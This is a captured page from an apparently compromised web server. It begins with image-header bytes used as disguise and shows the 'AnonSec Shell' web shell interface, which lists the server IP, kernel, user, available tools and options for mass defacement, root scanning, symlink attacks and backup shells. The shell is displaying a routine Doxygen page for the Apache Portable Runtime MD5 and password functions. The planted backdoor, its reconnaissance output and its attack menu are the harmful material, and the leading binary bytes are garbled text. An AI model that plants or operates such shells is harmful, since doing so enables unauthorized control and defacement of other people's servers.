JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/libaprutil1-dev/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/share/doc/libaprutil1-dev/html/group___a_p_r___m_d5.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.6"/>
<title>Apache Portable Runtime Utility Library: MD5 Routines</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
  $(document).ready(function() { searchBox.OnSelectItem(0); });
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
 <tbody>
 <tr style="height: 56px;">
  <td style="padding-left: 0.5em;">
   <div id="projectname">Apache Portable Runtime Utility Library
   </div>
  </td>
 </tr>
 </tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.6 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
  <div id="navrow1" class="tabs">
    <ul class="tablist">
      <li><a href="index.html"><span>Main&#160;Page</span></a></li>
      <li><a href="pages.html"><span>Related&#160;Pages</span></a></li>
      <li><a href="modules.html"><span>Modules</span></a></li>
      <li><a href="namespaces.html"><span>Namespaces</span></a></li>
      <li><a href="annotated.html"><span>Data&#160;Structures</span></a></li>
      <li><a href="files.html"><span>Files</span></a></li>
      <li>
        <div id="MSearchBox" class="MSearchBoxInactive">
        <span class="left">
          <img id="MSearchSelect" src="search/mag_sel.png"
               onmouseover="return searchBox.OnSearchSelectShow()"
               onmouseout="return searchBox.OnSearchSelectHide()"
               alt=""/>
          <input type="text" id="MSearchField" value="Search" accesskey="S"
               onfocus="searchBox.OnSearchFieldFocus(true)" 
               onblur="searchBox.OnSearchFieldFocus(false)" 
               onkeyup="searchBox.OnSearchFieldChange(event)"/>
          </span><span class="right">
            <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
          </span>
        </div>
      </li>
    </ul>
  </div>
</div><!-- top -->
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
     onmouseover="return searchBox.OnSearchSelectShow()"
     onmouseout="return searchBox.OnSearchSelectHide()"
     onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Data Structures</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(10)"><span class="SelectionMark">&#160;</span>Groups</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(11)"><span class="SelectionMark">&#160;</span>Pages</a></div>

<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0" 
        name="MSearchResults" id="MSearchResults">
</iframe>
</div>

<div class="header">
  <div class="summary">
<a href="#nested-classes">Data Structures</a> &#124;
<a href="#define-members">Macros</a> &#124;
<a href="#typedef-members">Typedefs</a> &#124;
<a href="#func-members">Functions</a>  </div>
  <div class="headertitle">
<div class="title">MD5 Routines</div>  </div>
</div><!--header-->
<div class="contents">
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="nested-classes"></a>
Data Structures</h2></td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">struct &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="define-members"></a>
Macros</h2></td></tr>
<tr class="memitem:ga0bb65e74ccdddca6ef75e886084e52dc"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___m_d5.html#ga0bb65e74ccdddca6ef75e886084e52dc">APR_MD5_DIGESTSIZE</a>&#160;&#160;&#160;16</td></tr>
<tr class="separator:ga0bb65e74ccdddca6ef75e886084e52dc"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="typedef-members"></a>
Typedefs</h2></td></tr>
<tr class="memitem:gacb4d6bf2cf0a29553a63273ff0a6fe69"><td class="memItemLeft" align="right" valign="top">typedef struct <a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___m_d5.html#gacb4d6bf2cf0a29553a63273ff0a6fe69">apr_md5_ctx_t</a></td></tr>
<tr class="separator:gacb4d6bf2cf0a29553a63273ff0a6fe69"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="func-members"></a>
Functions</h2></td></tr>
<tr class="memitem:ga7a0502bfc466821beabe4876987fbcb5"><td class="memItemLeft" align="right" valign="top">apr_status_t&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___m_d5.html#ga7a0502bfc466821beabe4876987fbcb5">apr_md5_init</a> (<a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a> *context)</td></tr>
<tr class="separator:ga7a0502bfc466821beabe4876987fbcb5"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gad80cbd97ca3197a237bbed006c033a57"><td class="memItemLeft" align="right" valign="top">apr_status_t&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___m_d5.html#gad80cbd97ca3197a237bbed006c033a57">apr_md5_set_xlate</a> (<a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a> *context, <a class="el" href="group___a_p_r___x_l_a_t_e.html#ga069dabbadc30e3a4157c38104a250e77">apr_xlate_t</a> *xlate)</td></tr>
<tr class="separator:gad80cbd97ca3197a237bbed006c033a57"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga1ae4e5c171ae98953e716ac02f026ed2"><td class="memItemLeft" align="right" valign="top">apr_status_t&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___m_d5.html#ga1ae4e5c171ae98953e716ac02f026ed2">apr_md5_update</a> (<a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a> *context, const void *input, apr_size_t inputLen)</td></tr>
<tr class="separator:ga1ae4e5c171ae98953e716ac02f026ed2"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga245fb83991257b096ebadd2b1b8cef62"><td class="memItemLeft" align="right" valign="top">apr_status_t&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___m_d5.html#ga245fb83991257b096ebadd2b1b8cef62">apr_md5_final</a> (unsigned char digest[<a class="el" href="group___a_p_r___m_d5.html#ga0bb65e74ccdddca6ef75e886084e52dc">APR_MD5_DIGESTSIZE</a>], <a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a> *context)</td></tr>
<tr class="separator:ga245fb83991257b096ebadd2b1b8cef62"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gac98c04b75053ae04907ca325f46df955"><td class="memItemLeft" align="right" valign="top">apr_status_t&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___m_d5.html#gac98c04b75053ae04907ca325f46df955">apr_md5</a> (unsigned char digest[<a class="el" href="group___a_p_r___m_d5.html#ga0bb65e74ccdddca6ef75e886084e52dc">APR_MD5_DIGESTSIZE</a>], const void *input, apr_size_t inputLen)</td></tr>
<tr class="separator:gac98c04b75053ae04907ca325f46df955"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gaf902e64b62e4056c6dcc1594b2dca645"><td class="memItemLeft" align="right" valign="top">apr_status_t&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___m_d5.html#gaf902e64b62e4056c6dcc1594b2dca645">apr_md5_encode</a> (const char *password, const char *salt, char *result, apr_size_t nbytes)</td></tr>
<tr class="separator:gaf902e64b62e4056c6dcc1594b2dca645"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga9a82cd796a9a185c467b60f3a142dad2"><td class="memItemLeft" align="right" valign="top">apr_status_t&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___m_d5.html#ga9a82cd796a9a185c467b60f3a142dad2">apr_bcrypt_encode</a> (const char *pw, unsigned int count, const unsigned char *salt, apr_size_t salt_len, char *out, apr_size_t out_len)</td></tr>
<tr class="separator:ga9a82cd796a9a185c467b60f3a142dad2"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga9ea1aa7e468de57e603d6e1d1b1516f2"><td class="memItemLeft" align="right" valign="top">apr_status_t&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___m_d5.html#ga9ea1aa7e468de57e603d6e1d1b1516f2">apr_password_validate</a> (const char *passwd, const char *hash)</td></tr>
<tr class="separator:ga9ea1aa7e468de57e603d6e1d1b1516f2"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<h2 class="groupheader">Macro Definition Documentation</h2>
<a class="anchor" id="ga0bb65e74ccdddca6ef75e886084e52dc"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">#define APR_MD5_DIGESTSIZE&#160;&#160;&#160;16</td>
        </tr>
      </table>
</div><div class="memdoc">
<p>The MD5 digest size </p>

</div>
</div>
<h2 class="groupheader">Typedef Documentation</h2>
<a class="anchor" id="gacb4d6bf2cf0a29553a63273ff0a6fe69"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">typedef struct <a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a> <a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a></td>
        </tr>
      </table>
</div><div class="memdoc">
<dl class="section see"><dt>See Also</dt><dd><a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a> </dd></dl>

</div>
</div>
<h2 class="groupheader">Function Documentation</h2>
<a class="anchor" id="ga9a82cd796a9a185c467b60f3a142dad2"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">apr_status_t apr_bcrypt_encode </td>
          <td>(</td>
          <td class="paramtype">const char *&#160;</td>
          <td class="paramname"><em>pw</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">unsigned int&#160;</td>
          <td class="paramname"><em>count</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">const unsigned char *&#160;</td>
          <td class="paramname"><em>salt</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">apr_size_t&#160;</td>
          <td class="paramname"><em>salt_len</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">char *&#160;</td>
          <td class="paramname"><em>out</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">apr_size_t&#160;</td>
          <td class="paramname"><em>out_len</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Encode a password using the bcrypt algorithm </p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">password</td><td>The password to encode </td></tr>
    <tr><td class="paramname">count</td><td>The cost of the encoding, possible values are 4 to 31 </td></tr>
    <tr><td class="paramname">salt</td><td>Pointer to binary data to be used as salt for the encoding </td></tr>
    <tr><td class="paramname">salt_len</td><td>The size of the salt data (must be &gt;= 16) </td></tr>
    <tr><td class="paramname">out</td><td>The string to store the encoded password in </td></tr>
    <tr><td class="paramname">out_len</td><td>The size of the result buffer (must be &gt;= 61) </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a class="anchor" id="gac98c04b75053ae04907ca325f46df955"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">apr_status_t apr_md5 </td>
          <td>(</td>
          <td class="paramtype">unsigned char&#160;</td>
          <td class="paramname"><em>digest</em>[APR_MD5_DIGESTSIZE], </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">const void *&#160;</td>
          <td class="paramname"><em>input</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">apr_size_t&#160;</td>
          <td class="paramname"><em>inputLen</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>MD5 in one step </p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">digest</td><td>The final MD5 digest </td></tr>
    <tr><td class="paramname">input</td><td>The message block to use </td></tr>
    <tr><td class="paramname">inputLen</td><td>The length of the message block </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a class="anchor" id="gaf902e64b62e4056c6dcc1594b2dca645"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">apr_status_t apr_md5_encode </td>
          <td>(</td>
          <td class="paramtype">const char *&#160;</td>
          <td class="paramname"><em>password</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">const char *&#160;</td>
          <td class="paramname"><em>salt</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">char *&#160;</td>
          <td class="paramname"><em>result</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">apr_size_t&#160;</td>
          <td class="paramname"><em>nbytes</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Encode a password using an MD5 algorithm </p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">password</td><td>The password to encode </td></tr>
    <tr><td class="paramname">salt</td><td>The salt string to use for the encoding </td></tr>
    <tr><td class="paramname">result</td><td>The string to store the encoded password in </td></tr>
    <tr><td class="paramname">nbytes</td><td>The size of the result buffer </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a class="anchor" id="ga245fb83991257b096ebadd2b1b8cef62"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">apr_status_t apr_md5_final </td>
          <td>(</td>
          <td class="paramtype">unsigned char&#160;</td>
          <td class="paramname"><em>digest</em>[APR_MD5_DIGESTSIZE], </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype"><a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a> *&#160;</td>
          <td class="paramname"><em>context</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>MD5 finalization. Ends an MD5 message-digest operation, writing the message digest and zeroing the context </p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">digest</td><td>The final MD5 digest </td></tr>
    <tr><td class="paramname">context</td><td>The MD5 content we are finalizing. </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a class="anchor" id="ga7a0502bfc466821beabe4876987fbcb5"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">apr_status_t apr_md5_init </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a> *&#160;</td>
          <td class="paramname"><em>context</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>MD5 Initialize. Begins an MD5 operation, writing a new context. </p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">context</td><td>The MD5 context to initialize. </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a class="anchor" id="gad80cbd97ca3197a237bbed006c033a57"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">apr_status_t apr_md5_set_xlate </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a> *&#160;</td>
          <td class="paramname"><em>context</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype"><a class="el" href="group___a_p_r___x_l_a_t_e.html#ga069dabbadc30e3a4157c38104a250e77">apr_xlate_t</a> *&#160;</td>
          <td class="paramname"><em>xlate</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>MD5 translation setup. Provides the APR translation handle to be used for translating the content before calculating the digest. </p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">context</td><td>The MD5 content to set the translation for. </td></tr>
    <tr><td class="paramname">xlate</td><td>The translation handle to use for this MD5 context </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a class="anchor" id="ga1ae4e5c171ae98953e716ac02f026ed2"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">apr_status_t apr_md5_update </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="structapr__md5__ctx__t.html">apr_md5_ctx_t</a> *&#160;</td>
          <td class="paramname"><em>context</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">const void *&#160;</td>
          <td class="paramname"><em>input</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">apr_size_t&#160;</td>
          <td class="paramname"><em>inputLen</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>MD5 block update operation. Continue an MD5 message-digest operation, processing another message block, and updating the context. </p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">context</td><td>The MD5 content to update. </td></tr>
    <tr><td class="paramname">input</td><td>next message block to update </td></tr>
    <tr><td class="paramname">inputLen</td><td>The length of the next message block </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a class="anchor" id="ga9ea1aa7e468de57e603d6e1d1b1516f2"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">apr_status_t apr_password_validate </td>
          <td>(</td>
          <td class="paramtype">const char *&#160;</td>
          <td class="paramname"><em>passwd</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">const char *&#160;</td>
          <td class="paramname"><em>hash</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Validate hashes created by APR-supported algorithms: md5, bcrypt, and sha1. hashes created by crypt are supported only on platforms that provide crypt(3), so don't rely on that function unless you know that your application will be run only on platforms that support it. On platforms that don't support crypt(3), this falls back to a clear text string comparison. </p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">passwd</td><td>The password to validate </td></tr>
    <tr><td class="paramname">hash</td><td>The password to validate against </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
</div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated on Mon Feb 13 2023 19:13:22 for Apache Portable Runtime Utility Library by &#160;<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.6
</small></address>
</body>
</html>

Anon7 - 2022
AnonSec Team